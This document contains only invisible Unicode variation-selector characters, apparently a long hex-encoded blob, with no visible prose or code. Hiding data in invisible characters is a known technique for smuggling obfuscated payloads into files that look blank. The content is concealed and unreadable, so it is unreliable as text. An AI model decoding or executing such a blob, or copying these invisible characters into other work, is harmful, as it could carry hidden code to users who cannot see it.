󠅒󠄨󠅖󠅕󠅔󠅓󠄠󠄥󠅕󠅖󠄠󠅕󠄠󠄢󠄩󠄤󠅑󠄡󠄧󠄥󠄡󠄠󠄥󠄡󠅓󠄠󠅒󠄩󠄡󠅓󠅖󠄥󠄤󠄧󠅔󠄩󠅔󠄩󠄣󠄠󠄢󠅒󠄧󠅓󠄤󠄣󠄠󠄡󠅖󠄩󠄢󠄤󠄧󠄡󠅑󠅒󠄩󠄧󠄥󠄠󠅔󠅔󠄧󠄧󠄤󠅕󠄢󠅖󠅔󠄣󠄣󠅓󠄨󠄣󠄢󠄦󠅒󠄢󠅖󠄤󠄧󠄠󠄤󠄢󠄣󠄡󠄨󠄨󠄧󠄢󠄢󠄩󠄣󠅒󠅑󠄩󠅔󠄨󠄥󠄣󠄤󠅓󠄩󠅓󠄦󠄤󠄥󠅕󠄠󠄤󠄦󠄥󠄡󠅖󠅑󠄠󠅕󠄦󠅕󠄥󠄨󠄠󠅔󠄣󠅓󠄤󠄤󠄧󠅓󠄧󠅖󠄥󠄥󠄠󠄩󠅖󠄠󠅔󠄠󠄦󠄣󠄥󠄠󠅓󠄦󠅓󠄢󠅑󠄩󠄣󠄢󠅖󠅒󠄦󠅕󠄥󠄦󠄥󠄧󠄤󠅑󠅑󠄩󠅒󠅒󠄨󠄦󠄠󠄨󠄩󠄥󠄦󠄨󠅔󠅒󠄢󠄥󠄤󠄧󠅖󠄧󠅓󠅑󠅔󠅓󠄧󠄤󠄥󠄣󠅔󠄨󠄧󠄠󠄨󠅕󠅕󠄧󠄣󠅔󠄠󠄢󠄧󠄦󠅕󠅔󠄧󠄥󠅖󠄦󠄨󠄤󠅓󠄦󠅑󠄦󠅒󠄩󠄢󠄤󠄩󠅓󠅒󠄡󠅔󠄤󠄧󠅔󠅖󠄢󠄩󠄥󠄡󠅕󠄠󠅔󠅕󠅔󠄧󠅔󠄡󠅑󠄡󠄡󠅔󠄥󠅑󠄨󠅑󠄢󠄨󠅒󠄧󠄤󠄩󠄩󠄨󠄩󠅒󠄩󠄢󠄠󠅕󠅔󠄡󠄡󠅓󠄥󠄩󠄥󠄥󠄠󠄩󠄩󠅓󠄨󠄨󠄢󠅕󠄢󠄤󠄠󠄧󠄩󠄤󠅒󠄥󠅓󠄨󠄧󠄦󠄣󠄥󠅕󠅔󠅓󠄦󠄡󠅒󠄥󠄥󠄥󠄣󠅓󠄣󠅓󠄡󠄨󠅓󠅕󠄣󠅓󠄥󠅕󠄡󠅖󠅖󠅕󠄢󠅖󠄨󠅔󠄧󠄡󠄡󠄨󠅓󠅓󠄧󠄠󠄤󠄢󠄢󠄤󠄡󠄤󠄩󠄧󠄤󠄩󠄥󠄣󠅑󠄣󠄤󠅖󠄣󠅑󠅖󠄤󠄣󠅑󠅕󠄦󠄠󠄥󠅒󠄤󠅔󠄠󠄤󠄠󠅔󠅑󠄠󠄨󠄥󠄨󠄤󠄢󠄥󠄥󠅒󠄥󠄥󠄡󠄠󠅕󠄤󠅕󠄧󠅕󠄥󠅑󠄥󠄤󠄣󠅒󠅕󠅖󠄠󠅑󠅒󠄡󠅓󠄡󠄠󠄥󠅓󠅒󠄩󠄧󠄩󠄢󠅓󠄠󠄢󠄡󠄩󠄨󠄠󠄤󠅒󠅓󠄨󠄣󠅓󠄣󠄥󠄡󠅖󠅒󠄩󠄣󠅓󠄤󠄤󠄤󠄠󠄦󠄤󠄨󠄡󠄠󠄥󠄧󠄥󠄢󠄣󠄤󠄢󠄧󠄣󠅕󠄧󠅓󠄢󠄩󠄩󠅓󠄨󠄨󠄠󠄤󠄤󠄨󠅓󠅔󠅑󠄢󠄣󠄤󠄧󠄡󠄣󠅒󠄣󠄠󠄡󠄧󠄣󠅕󠅕󠄠󠄧󠅓󠄩󠅓󠅕󠄤󠄥󠅕󠄩󠅔󠅓󠄣󠄧󠄧󠅔󠄨󠄥󠄩󠄥󠄩󠄩󠅔󠄡󠄢󠄤󠄠󠄩󠄩󠄥󠅖󠄤󠅓󠄢󠄡󠅒󠄠󠅖󠄧󠄠󠅓󠅒󠄠󠄧󠄥󠄧󠄠󠄢󠄨󠅓󠅖󠅔󠅒󠅑󠄦󠅓󠅖󠄩󠄨󠅖󠄦󠄦󠄦󠅑󠄨󠄩󠄣󠅒󠄨󠄦󠄠󠅔󠄡󠄢󠅑󠅒󠄦󠄣󠄡󠄧󠅓󠅕󠅕󠅓󠅑󠄦󠄠󠅖󠅔󠄥󠄦󠄩󠄩󠄦󠄩󠄧󠄢󠅑󠄡󠄥󠅒󠄠󠅑󠄦󠄨󠅖󠅔󠄨󠅑󠅖󠅑󠄥󠅒󠅓󠅒󠄩󠄩󠄦󠄠󠅔󠄨󠄠󠄤󠄤󠄡󠅒󠄠󠄧󠅓󠄧󠅕󠄤󠄠󠄨󠄨󠄣󠄦󠅔󠄦󠄦󠄣󠅓󠄨󠄠󠄠󠄤󠅒󠄦󠅕󠄡󠄦󠅕󠄥󠄨󠄨󠅕󠄡󠅕󠄠󠄤󠄡󠅕󠄧󠄣󠅓󠄨󠄦󠅑󠄡󠅖󠄠󠅑󠅒󠅒󠄨󠅑󠅑󠄩󠅓󠄡󠄣󠄦󠄢󠅕󠄥󠄡󠄤󠅖󠄦󠅔󠄨󠅕󠅓󠄣󠄢󠅑󠄢󠄤󠄡󠅖󠄠󠅕󠄠󠅖󠄡󠄩󠄨󠄡󠄦󠄣󠅖󠄥󠅕󠅔󠅔󠅕󠄣󠄣󠄢󠄥󠅖󠄣󠄣󠅕󠄠󠄩󠅖󠄥󠄩󠄡󠅕󠄤󠄤󠄣󠄧󠄢󠄧󠅖󠄤󠅖󠄤󠄤󠄠󠄥󠄢󠄥󠄠󠄥󠅖󠄣󠅖󠄩󠅕󠄥󠄧󠄠󠄢󠄨󠄤󠄦󠄡󠅖󠅒󠄧󠄩󠅑󠄢󠅖󠄢󠄨󠄨󠄥󠅒󠄤󠅓󠅑󠄣󠄨󠅖󠄣󠄧󠅔󠄥󠄨󠅒󠄤󠅑󠄡󠅑󠅒󠄠󠄧󠄨󠅓󠄦󠅑󠅔󠄩󠅑󠄢󠄧󠅕󠄨󠄣󠅖󠄢󠅔󠅔󠄡󠅖󠅔󠄥󠅓󠄢󠄤󠅓󠄢󠅔󠄢󠄧󠄣󠅑󠄢󠅒󠄢󠄦󠄧󠄩󠅔󠅒󠄤󠄤󠅕󠄣󠅖󠄨󠅒󠄢󠅖󠄨󠄡󠄤󠄧󠄠󠄢󠄢󠄦󠄣󠄧󠅖󠄥󠅕󠄩󠅒󠅔󠄩󠄧󠅒󠅔󠅕󠄤󠄢󠅕󠄠󠄥󠄠󠅓󠅕󠄩󠅔󠄦󠅒󠄡󠅖󠄧󠅔󠄦󠄩󠄣󠅖󠄩󠄥󠄦󠅓󠅖󠄢󠅓󠅓󠄡󠄦󠅕󠄥󠅓󠄤󠄠󠄢󠅑󠅕󠄧󠄦󠄨󠄤󠄥󠄤󠄨󠄡󠄣󠅕󠄠󠅖󠄠󠄧󠄡󠅖󠅑󠄠󠅒󠅒󠅓󠅑󠄧󠄠󠅔󠅓󠄦󠄨󠅓󠄦󠅔󠄡󠄨󠅔󠅔󠄠󠄨󠄢󠄩󠄠󠄧󠄨󠅕󠅖󠅓󠅒󠅑󠅔󠄨󠅖󠅔󠅓󠄤󠄠󠄦󠄡󠄤󠄦󠄨󠄨󠄧󠄣󠅖󠄩󠅖󠄣󠅒󠅒󠅖󠄥󠄥󠅔󠅑󠄥󠄨󠄢󠅕󠄤󠄡󠅒󠄤󠅓󠅖󠄡󠅔󠅒󠄧󠄧󠅒󠅒󠄠󠅔󠄧󠄩󠄨󠅕󠄣󠅒󠄧󠄠󠅕󠄠󠄥󠅕󠄧󠄢󠅖󠅑󠅕󠅖󠄤󠅒󠄠󠄠󠅕󠄥󠄤󠅔󠄣󠅔󠅖󠅔󠄨󠅔󠄢󠅔󠄠󠄣󠅒󠄩󠅒󠅔󠄧󠄩󠄨󠄢󠅓󠅔󠄠󠄦󠄧󠄨󠅔󠄩󠅕󠄦󠄥󠄤󠅖󠅒󠅓󠅔󠅓󠄩󠄢󠄦󠅓󠄢󠄤󠅖󠄢󠅓󠄨󠄤󠄡󠄨󠄤󠄡󠅓󠅒󠄦󠅖󠅓󠅑󠄡󠅖󠅕󠄦󠅖󠅖󠅔󠅖󠄥󠄩󠅓󠄧󠅕󠄩󠄨󠅒󠄦󠄩󠅑󠄢󠅖󠅓󠄩󠄨󠄢󠄠󠅓󠄣󠅓󠅕󠅖󠄣󠄡󠅕󠅔󠄣󠅔󠅖󠅖󠄤󠄧󠅑󠄠󠅑󠄨󠄨󠄡󠄠󠅓󠄣󠄠󠅓󠄨󠅑󠄤󠅖󠅕󠄠󠅑󠅕󠅑󠄨󠄥󠅑󠄦󠄠󠄩󠄡󠅓󠅖󠄩󠄡󠄤󠅔󠄦󠄦󠄥󠄣󠄩󠄠󠅑󠅖󠄩󠄢󠄤󠅑󠅔󠄩󠄡󠄤󠄤󠅖󠅖󠄤󠄥󠄤󠄤󠄣󠄠󠄨󠄤󠅑󠅑󠄦󠄥󠄦󠄠󠄧󠄧󠄥󠄠󠅔󠅔󠄠󠅔󠄠󠄩󠄤󠄢󠄧󠄢󠄧󠅒󠄨󠄢󠄥󠅑󠄧󠅓󠅕󠄧󠅖󠄧󠅓󠄤󠄡󠄢󠄡󠄤󠅔󠄥󠄦󠅔󠄣󠅔󠄣󠅓󠄠󠅓󠄤󠄤󠄨󠄣󠄩󠄥󠅖󠄠󠄠󠅑󠄦󠄥󠅒󠄢󠅑󠄣󠅔󠅔󠄢󠄢󠄣󠄦󠄩󠄣󠄥󠄠󠅕󠄣󠅒󠄨󠅕󠅔󠄦󠄦󠅒󠄦󠅔󠅓󠅑󠄦󠅒󠅔󠅕󠅑󠄥󠄢󠅔󠅓󠅖󠅖󠄦󠄢󠄦󠅔󠄠󠄩󠄥󠅑󠅒󠄡󠄩󠄩󠄢󠄧󠄦󠄣󠅓󠅕󠅔󠄨󠄩󠅔󠄧󠄩󠄥󠄧󠅑󠅔󠄠󠄢󠄩󠄠󠄡󠄠󠄣󠄡󠅔󠅓󠄠󠅖󠅑󠄣󠄨󠅖󠄡󠄨󠄥󠄥󠅓󠅓󠄣󠄨󠄥󠅔󠄢󠄧󠅔󠄣󠄣󠄧󠄥󠄣󠄧󠄩󠅒󠄥󠄥󠄧󠄨󠄡󠅑󠅔󠅖󠄠󠅖󠅖󠄠󠅔󠄡󠄥󠄤󠄠󠅔󠄥󠄤󠄦󠄥󠅑󠄡󠄡󠄨󠅓󠄤󠄣󠄠󠄡󠄠󠅖󠄩󠄩󠄨󠄦󠄥󠄤󠄢󠅕󠄣󠄡󠄣󠅔󠄢󠄤󠄣󠄩󠄢󠅒󠄨󠄥󠅔󠅔󠅕󠄡󠄠󠄩󠅖󠄥󠄩󠄠󠄨󠅒󠄤󠄥󠄤󠄡󠄡󠄢󠄠󠄤󠄩󠅒󠄢󠄨󠄩󠄧󠄢󠄣󠅕󠅒󠄤󠄣󠄤󠄤󠄥󠅕󠄤󠄤󠅑󠅑󠄥󠅓󠄣󠅕󠅔󠄡󠄧󠄥󠄡󠄨󠄧󠄧󠅕󠅔󠅑󠄡󠅓󠄧󠅑󠄧󠅔󠅒󠅔󠄡󠅒󠄡󠄩󠄥󠅖󠄤󠄧󠄩󠅒󠄧󠄩󠅓󠅒󠄤󠅑󠄣󠄨󠅔󠄠󠄩󠄧󠅒󠄨󠅔󠄠󠄡󠄠󠄩󠄢󠅖󠅕󠄢󠅖󠅒󠄠󠄢󠅓󠄢󠅖󠅑󠄧󠄣󠄦󠅕󠄥󠄢󠄧󠄧󠅓󠄡󠄨󠄠󠅔󠅖󠄢󠄥󠄦󠅖󠅓󠄩󠄢󠅒󠅕󠄨󠄦󠄧󠄦󠄣󠄧󠄣󠄣󠄨󠄥󠅖󠄥󠄩󠅕󠅖󠄥󠄥󠅖󠅕󠄧󠄩󠄦󠅑󠅕󠅕󠅕󠄣󠄠󠄡󠅓󠅑󠄤󠄩󠄨󠄣󠄩󠅔󠄥󠄧󠅖󠅒󠄨󠄤󠅒󠄩󠄨󠄤󠅑󠅔󠅕󠄩󠄠󠅕󠄡󠄡󠄩󠄧󠄨󠅖󠄩󠄢󠅕󠄩󠅖󠄠󠅖󠄤󠅑󠄤󠄢󠄡󠄣󠄧󠅒󠄡󠅒󠅕󠄤󠄦󠄤󠄨󠅕󠄢󠄧󠅕󠄥󠅕󠄥󠅒󠄢󠅔󠄥󠄣󠄩󠅒󠅔󠅖󠅔󠅓󠅒󠄢󠅖󠄡󠄧󠅔󠅓󠄤󠅖󠄠󠅖󠄧󠅒󠄠󠅖󠄨󠄧󠅒󠄦󠄧󠅒󠅓󠄨󠅑󠅕󠄢󠄤󠄢󠄡󠅕󠄣󠅓󠅒󠄢󠄩󠅔󠄥󠅑󠅒󠅔󠅔󠄨󠅓󠅔󠄣󠅔󠄣󠅒󠄠󠅖󠄦󠄤󠄠󠅔󠅒󠄣󠄢󠄦󠄧󠅕󠄠󠅖󠅓󠄧󠄤󠅔󠄣󠄩󠄩󠄩󠄣󠄤󠄢󠄤󠄢󠄧󠄤󠄢󠄧󠄩󠄢󠄡󠄩󠅖󠄩󠄤󠄠󠄩󠄥󠅔󠄥󠄩󠄩󠄨󠄣󠅔󠄨󠅕󠄧󠄠󠅕󠅓󠅒󠅕󠅑󠄡󠅖󠅓󠄢󠅑󠄢󠅕󠄧󠄤󠄨󠅑󠅓󠄤󠄦󠄧󠄢󠄤󠅓󠅒󠅔󠅓󠄡󠅑󠅕󠄧󠄥󠅓󠄨󠄢󠄣󠄥󠅑󠅒󠄡󠅒󠅖󠄩󠄣󠅖󠄡󠄦󠅓󠅓󠅑󠄣󠅒󠄧󠅒󠅕󠄩󠅔󠅔󠄥󠄦󠄧󠄩󠄡󠅖󠄦󠄤󠄨󠅑󠄦󠅔󠄠󠄢󠅒󠅔󠄧󠅑󠅖󠅔󠅑󠄤󠄠󠄨󠄡󠅒󠄧󠄦󠄩󠄩󠄦󠄤󠄨󠄡󠄤󠄡󠄦󠄩󠄠󠄧󠅖󠄣󠄩󠄩󠄧󠄢󠄤󠄠󠄠󠅖󠄨󠅔󠄧󠅔󠄠󠄠󠄥󠄩󠄥󠄨󠄢󠄠󠄡󠅖󠄢󠄥󠄠󠄨󠄥󠄨󠅕󠅓󠄤󠅕󠄩󠄣󠅔󠅒󠄢󠄥󠄨󠄠󠄩󠅒󠅒󠅒󠄧󠅒󠅔󠄠󠅖󠄤󠄤󠅔󠅒󠄨󠄠󠄣󠄩󠄧󠅕󠄨󠅓󠅕󠅑󠅒󠄦󠅒󠅓󠅖󠅖󠄤󠄣󠅒󠅔󠄥󠄧󠄡󠄩󠅒󠅔󠄠󠅓󠄩󠅓󠄣󠄡󠅕󠅕󠄧󠄤󠄠󠅕󠅕󠄢󠄡󠄤󠄨󠄨󠄥󠄩󠄩󠅒󠄡󠄩󠄧󠄢󠅖󠅒󠄦󠅑󠄠󠄡󠅕󠅑󠅓󠄧󠅓󠅕󠅕󠅕󠄡󠄥󠄠󠄦󠅔󠄧󠄨󠄥󠄤󠄠󠄠󠄧󠄥󠅒󠅑󠅓󠄧󠅕󠅓󠄧󠄤󠄦󠄤󠄦󠅑󠄧󠄡󠅕󠅔󠄩󠄦󠄧󠅓󠄩󠄠󠄤󠄤󠄧󠄣󠅕󠄨󠄠󠅔󠄤󠅑󠅓󠄢󠄦󠄨󠄠󠄣󠄠󠄤󠅕󠅖󠅒󠄡󠄨󠅔󠄤󠄧󠄦󠄨󠄠󠄦󠄥󠄥󠄥󠄩󠄦󠄨󠅒󠅑󠅑󠅓󠄢󠄡󠄣󠄠󠅒󠄢󠄢󠄤󠅒󠄢󠄨󠄩󠄩󠄡󠄠󠅖󠄦󠄦󠄦󠄠󠅕󠅒󠄢󠄦󠅑󠅔󠄢󠅔󠅓󠄩󠄧󠄡󠅒󠄤󠄠󠅑󠄧󠄠󠄣󠅕󠄨󠄦󠄧󠄩󠄡󠄦󠄡󠅑󠅒󠅓󠄦󠅖󠅒󠄩󠄧󠄦󠄠󠄡󠄧󠅔󠄢󠅒󠄢󠄨󠄦󠅑󠅑󠅖󠄩󠄥󠄩󠅖󠅖󠄢󠄤󠅒󠄦󠄣󠄩󠄧󠄡󠄦󠄧󠅔󠅓󠄣󠅔󠅔󠅒󠄣󠄤󠄤󠅔󠄣󠄦󠄥󠅒󠄡󠅖󠅑󠅖󠅓󠅒󠄦󠄨󠄧󠄤󠄢󠄥󠄧󠅓󠅕󠄩󠄦󠅒󠅕󠄦󠅑󠅔󠅕󠄡󠄡󠅓󠅔󠄧󠄡󠄤󠅑󠄢󠄨󠄣󠅓󠅑󠅒󠄥󠅓󠅖󠄣󠄩󠅔󠄨󠅑󠅖󠅓󠅒󠄨󠄩󠄦󠄤󠄩󠅕󠄧󠅕󠅓󠄣󠄥󠄠󠄣󠄢󠅕󠄠󠄥󠅓󠅓󠄠󠄣󠄩󠅕󠄢󠄩󠄩󠅓󠄦󠄥󠄠󠄠󠅑󠄧󠄢󠄢󠄤󠄨󠅒󠄠󠄡󠄠󠄧󠅖󠄡󠅒󠄩󠄡󠄧󠄥󠄦󠄤󠄩󠄨󠄧󠄨󠄣󠅖󠅓󠅔󠅕󠅔󠄢󠄦󠄩󠅔󠄣󠅔󠄨󠄡󠄩󠅖󠄨󠄩󠅕󠄢󠄩󠅑󠅕󠅖󠅑󠄢󠄣󠄩󠅔󠅓󠅕󠄡󠅓󠅔󠄣󠄥󠅖󠄢󠄡󠄡󠄤󠅖󠄧󠅔󠅔󠄧󠅑󠅓󠅓󠅒󠄠󠄥󠄡󠄧󠄤󠄤󠄠󠄣󠄠󠅑󠄣󠄦󠄡󠄢󠄡󠅕󠅔󠄣󠄥󠄤󠄨󠄢󠄠󠄧󠅔󠄡󠄧󠅒󠄤󠄨󠄤󠄣󠅒󠅑󠄥󠅕󠄧󠄦󠄥󠄢󠅑󠅕󠄢󠅔󠄢󠄠󠄣󠄣󠅔󠄨󠅕󠅑󠄠󠄠󠄣󠅕󠅕󠅖󠅔󠄨󠄠󠄥󠄥󠅑󠄧󠅖󠄩󠅒󠄡󠄧󠄡󠅔󠄣󠄤󠄤󠄢󠅑󠅕󠅔󠄥󠅔󠅔󠄢󠅑󠅔󠅖󠅑󠄢󠄡󠅕󠄤󠄤󠄢󠅔󠄨󠄠󠄦󠄧󠅓󠄩󠄣󠅕󠄥󠄨󠅒󠄡󠄣󠄦󠄢󠄡󠄠󠅖󠅓󠅒󠄩󠄤󠄩󠅕󠄧󠄠󠄢󠄠󠄡󠄦󠅕󠄣󠅒󠅒󠅖󠄥󠄡󠄠󠅒󠅑󠅕󠄨󠄤󠄡󠅓󠅕󠅕󠄡󠄨󠄧󠅑󠄣󠄨󠅒󠅕󠄦󠄥󠄦󠅖󠅑󠅖󠅑󠄠󠄩󠄨󠄢󠄢󠄠󠄨󠄣󠄧󠄩󠄣󠅒󠄧󠄤󠅖󠄨󠅒󠄧󠅓󠅓󠄥󠄦󠄢󠅓󠄠󠅑󠅓󠄡󠄣󠅖󠅒󠄠󠄧󠄣󠄤󠅔󠄥󠅓󠄣󠄣󠄧󠅔󠄣󠄥󠅔󠄣󠄧󠅓󠅑󠄧󠅕󠄡󠅒󠄦󠄦󠄡󠅒󠄨󠄠󠅒󠄨󠅖󠄢󠄡󠄣󠅕󠅓󠄢󠅔󠅑󠄣󠅑󠄧󠄥󠄦󠄨󠄩󠅔󠅖󠅔󠅖󠄢󠅒󠄦󠄣󠄠󠅓󠅑󠄣󠅖󠅕󠄦󠅕󠄥󠄢󠅑󠄡󠄩󠄠󠅓󠄦󠅓󠄥󠄦󠄡󠅒󠅓󠄠󠄣󠅒󠅑󠅓󠅖󠅔󠄢󠄩󠅑󠅖󠅖󠄩󠄥󠅕󠄠󠅔󠄦󠄧󠅑󠄢󠄨󠅑󠄧󠅓󠅕󠄦󠄠󠄥󠄡󠄣󠅒󠄢󠄢󠄨󠄥󠅒󠅓󠅒󠅑󠄠󠄠󠅒󠄦󠄥󠅔󠄩󠄠󠄠󠅑󠄥󠅑󠅖󠄠󠄠󠅓󠄦󠄢󠄦󠄢󠄠󠄡󠅔󠄧󠅓󠄩󠄩󠄣󠄨󠄣󠅑󠅑󠄠󠅕󠄤󠅓󠅖󠄣󠄤󠄥󠅒󠅖󠄢󠄤󠄩󠄦󠄣󠅒󠅔󠄢󠄣󠅔󠄩󠄩󠄡󠅒󠄧󠄩󠄠󠄨󠄡󠄢󠄨󠅒󠅕󠄣󠄦󠅒󠄧󠄦󠄡󠄠󠅕󠅑󠄣󠅖󠅑󠅑󠄡󠅖󠄩󠄢󠄤󠄦󠄤󠅔󠅑󠄨󠄢󠅓󠅔󠄡󠄤󠅖󠄥󠄧󠅕󠅔󠄤󠄧󠄨󠄢󠄤󠄥󠄦󠄦󠄠󠅕󠅔󠄤󠅑󠄡󠄢󠅓󠅖󠅔󠅑󠅒󠅑󠅑󠄠󠅔󠄨󠄤󠄤󠅖󠄠󠅓󠅑󠄦󠄥󠄢󠄨󠄡󠄤󠄡󠄨󠄣󠅔󠅖󠄤󠅔󠄥󠄨󠅒󠄡󠅕󠅑󠅒󠄧󠅓󠅕󠄢󠄨󠄥󠅓󠄡󠄠󠅖󠄣󠄢󠅖󠄩󠄥󠅖󠅓󠄨󠄥󠅕󠅔󠅓󠄧󠅓󠄧󠅖󠅕󠅒󠅑󠅔󠄢󠄥󠅕󠄨󠅕󠅕󠄨󠅓󠅒󠄣󠄡󠅑󠄥󠅒󠄧󠄢󠄦󠄧󠅖󠅒󠅓󠅓󠄨󠅕󠄢󠅑󠄡󠄨󠅓󠄨󠄡󠄣󠄤󠄠󠄦󠅒󠄠󠄣󠄥󠄤󠅕󠄥󠄢󠄦󠄨󠅖󠅖󠄤󠄥󠅕󠄠󠄦󠄤󠄥󠅒󠅕󠅖󠄢󠄣󠄣󠄥󠄩󠄣󠄥󠄡󠄤󠄥󠄩󠅒󠄢󠅒󠅕󠄥󠄦󠄨󠅖󠅑󠄡󠅓󠅒󠅒󠄧󠅑󠄣󠅕󠄥󠄩󠄦󠅕󠅕󠄩󠄦󠄢󠅒󠄨󠅓󠄦󠅓󠄩󠅖󠅔󠄠󠅒󠄠󠄩󠅔󠅕󠅓󠅕󠄦󠅓󠄠󠄨󠅖󠄤󠄢󠄣󠄩󠄤󠄩󠅕󠄡󠄣󠄥󠄩󠄡󠅔󠄩󠄩󠄦󠅒󠅑󠅕󠄧󠄨󠅔󠄢󠄢󠅔󠄧󠄦󠄩󠄥󠄦󠄢󠅔󠄥󠅓󠅔󠄥󠄠󠅖󠄩󠄢󠅑󠄨󠄩󠅕󠄣󠄨󠄡󠄥󠅓󠄢󠄩󠄡󠅓󠅕󠄠󠄧󠄦󠄣󠄣󠄡󠄣󠄥󠄡󠄩󠄨󠄦󠄢󠄠󠄢󠅖󠄡󠄤󠅓󠅒󠅑󠄢󠅔󠅒󠄧󠅑󠅔󠄣󠅕󠄦󠄨󠅒󠄨󠄣󠅔󠅑󠅑󠄩󠄢󠄧󠅖󠄥󠄩󠅕󠅕󠅒󠄨󠅔󠄦󠄡󠅔󠄨󠅓󠄢󠄦󠄣󠅖󠅓󠄧󠄡󠄥󠄤󠄢󠄩󠄢󠅖󠄥󠅖󠄥󠄩󠅕󠄦󠅔󠄤󠅕󠅕󠄡󠄤󠄢󠄣󠄧󠅖󠄢󠄩󠄦󠄤󠄠󠄠󠄩󠄡󠄨󠄠󠄦󠅓󠄤󠄡󠅓󠄣󠄥󠄧󠅔󠄠󠅒󠅖󠄤󠄧󠅒󠅔󠄢󠄧󠅑󠄤󠄤󠄨󠅒󠅖󠅕󠄨󠄡󠄢󠅓󠅒󠄡󠄡󠄢󠄢󠅔󠄦󠄠󠅑󠄢󠄧󠅖󠄧󠅖󠅖󠅑󠄢󠅕󠄦󠄣󠅕󠅔󠅑󠄧󠅕󠄨󠅓󠄤󠄠󠄩󠄠󠅔󠅑󠄩󠅔󠄢󠅑󠅓󠅒󠄥󠅑󠄤󠄢󠄦󠄩󠅔󠅑󠄦󠄣󠄠󠄦󠅓󠄣󠄤󠄡󠄢󠅑󠄦󠅒󠄢󠄢󠄥󠄢󠄧󠄣󠅔󠄠󠄡󠄩󠄧󠅕󠅑󠅕󠄦󠅔󠄢󠄥󠄠󠅑󠄩󠅖󠄩󠄧󠄠󠄨󠄢󠄠󠄨󠅕󠅕󠄦󠅔󠄩󠅑󠄣󠄠󠄦󠄥󠄨󠅔󠄣󠅕󠄠󠅓󠄤󠄢󠅓󠄥󠄢󠅓󠄡󠄧󠅑󠄦󠄦󠄣󠅑󠅑󠅔󠅒󠄢󠅑󠅒󠅖󠅓󠄩󠅔󠄢󠅓󠄩󠄨󠄦󠅓󠅒󠅒󠅒󠄧󠅓󠄣󠄤󠅒󠄧󠄣󠄡󠅕󠄠󠅑󠄤󠄤󠄨󠅒󠅒󠄠󠄩󠅒󠅔󠅓󠄣󠄦󠅓󠄩󠄣󠄦󠄢󠄩󠄦󠄠󠄥󠄡󠄩󠅕󠅑󠄨󠄠󠄩󠅔󠄣󠄤󠅕󠄢󠄤󠄤󠄣󠄦󠄥󠅔󠅖󠅖󠄣󠅔󠄦󠅑󠅒󠅖󠅓󠅑󠄣󠄥󠄦󠄤󠄠󠅕󠅖󠄡󠄡󠅕󠄣󠄧󠄦󠅔󠅒󠄨󠅓󠅑󠄨󠅑󠅓󠄨󠄤󠅑󠅑󠄣󠄥󠅖󠄦󠄣󠅕󠄠󠄣󠄤󠅕󠄢󠄤󠄠󠄨󠄨󠄦󠄦󠅑󠄩󠅖󠄠󠄧󠄣󠄤󠄦󠅒󠄣󠄠󠄧󠄡󠄨󠄩󠄡󠄠󠄡󠄠󠄢󠅕󠄥󠅒󠄢󠄣󠅖󠅒󠄣󠄣󠅕󠅑󠄩󠄥󠄩󠅒󠅓󠄧󠅔󠅓󠄦󠅑󠄤󠅓󠄤󠅖󠄧󠅕󠄦󠄠󠄠󠄡󠅖󠅒󠄥󠄧󠄩󠅕󠅔󠄡󠅕󠄠󠅓󠄤󠄠󠅓󠄨󠄦󠄡󠄣󠄧󠅔󠅓󠄤󠄡󠄨󠅔󠄦󠄠󠄧󠅖󠅓󠅑󠄠󠄣󠄥󠄢󠄢󠄨󠄣󠄦󠅔󠅒󠄩󠅑󠄣󠅖󠅔󠅕󠅖󠅒󠅑󠅕󠄢󠄣󠅕󠄩󠄢󠄩󠅔󠄤󠄣󠅔󠄥󠅒󠄧󠅔󠅒󠄥󠅔󠅑󠄥󠄢󠄦󠄤󠅑󠅕󠄦󠅑󠄡󠅖󠄠󠄨󠅑󠅕󠄧󠄧󠄧󠄧󠄦󠄦󠅔󠅑󠅕󠄣󠄦󠅖󠅖󠄣󠅖󠄣󠅖󠅑󠄨󠄠󠄥󠄠󠄥󠄠󠄢󠄤󠅑󠄥󠄡󠄡󠅔󠄥󠅖󠄦󠄦󠅒󠄢󠄠󠄥󠄣󠄨󠄤󠄠󠅔󠄢󠄢󠅖󠄣󠄩󠄥󠅖󠅒󠅑󠄦󠅓󠅓󠄣󠄠󠄣󠄠󠅒󠄡󠄤󠄧󠄧󠅑󠄣󠅓󠅓󠄤󠅑󠄤󠅔󠅔󠅖󠄧󠄤󠄩󠄢󠄥󠅓󠅒󠄠󠄩󠄦󠄦󠄧󠄠󠅑󠄦󠄢󠄡󠄡󠄣󠄧󠄧󠅔󠅔󠄢󠅕󠅔󠅓󠄦󠅕󠄥󠅓󠅒󠄦󠄦󠅑󠄣󠅒󠅕󠅕󠄥󠄨󠄨󠅒󠄡󠅓󠅔󠅕󠄢󠄦󠄤󠅑󠄨󠅕󠄧󠅖󠄡󠅒󠄢󠅖󠄩󠄣󠄠󠄤󠅒󠄡󠄥󠄥󠄠󠄣󠄤󠄧󠄩󠄩󠄨󠄧󠄥󠅕󠄨󠄢󠅑󠅒󠄠󠅒󠄥󠄦󠄨󠄧󠅖󠄢󠄡󠄨󠄠󠅖󠄦󠄧󠄣󠄧󠄨󠄦󠄡󠅒󠄩󠄢󠄧󠄡󠅕󠄦󠄩󠄩󠄠󠄤󠄧󠄤󠄤󠅕󠄩󠅖󠅕󠅓󠄧󠄣󠄦󠄡󠅔󠄣󠅔󠄢󠄣󠅑󠄦󠄣󠄢󠄠󠄥󠄢󠅓󠅓󠄧󠄢󠄢󠅓󠅕󠄢󠄡󠅕󠅔󠄠󠅔󠅒󠄤󠄩󠅓󠄣󠄨󠅒󠄤󠄩󠅓󠅕󠅔󠄥󠅕󠄦󠄤󠅓󠅔󠄠󠄥󠅖󠅖󠄥󠄢󠄦󠄩󠄨󠅑󠄣󠄣󠄤󠅓󠅓󠅖󠄧󠅑󠅓󠅓󠅖󠄧󠄠󠅑󠅔󠄩󠄤󠅕󠅔󠅕󠄦󠅖󠄩󠄩󠅒󠅑󠄢󠄠󠅑󠅑󠅓󠄤󠄥󠅑󠅒󠅓󠄢󠄠󠄧󠄢󠅕󠄨󠅖󠄥󠄣󠅖󠅕󠅔󠅖󠅕󠅕󠅖󠄨󠄤󠅑󠄠󠄤󠅔󠄦󠅑󠄢󠅒󠅓󠄥󠄦󠅑󠄩󠄩󠅓󠄦󠄦󠄥󠅑󠄨󠄥󠄥󠄦󠄨󠄥󠄩󠅔󠄦󠅖󠄠󠅔󠅑󠄢󠄦󠄠󠄥󠄠󠄤󠅒󠅑󠄧󠄩󠅓󠄧󠅒󠄥󠅔󠄥󠄩󠄦󠄥󠅓󠅑󠄨󠄡󠄨󠅖󠄩󠄨󠄤󠅑󠄢󠄢󠄣󠄢󠅔󠄦󠄧󠅒󠅑󠅑󠄩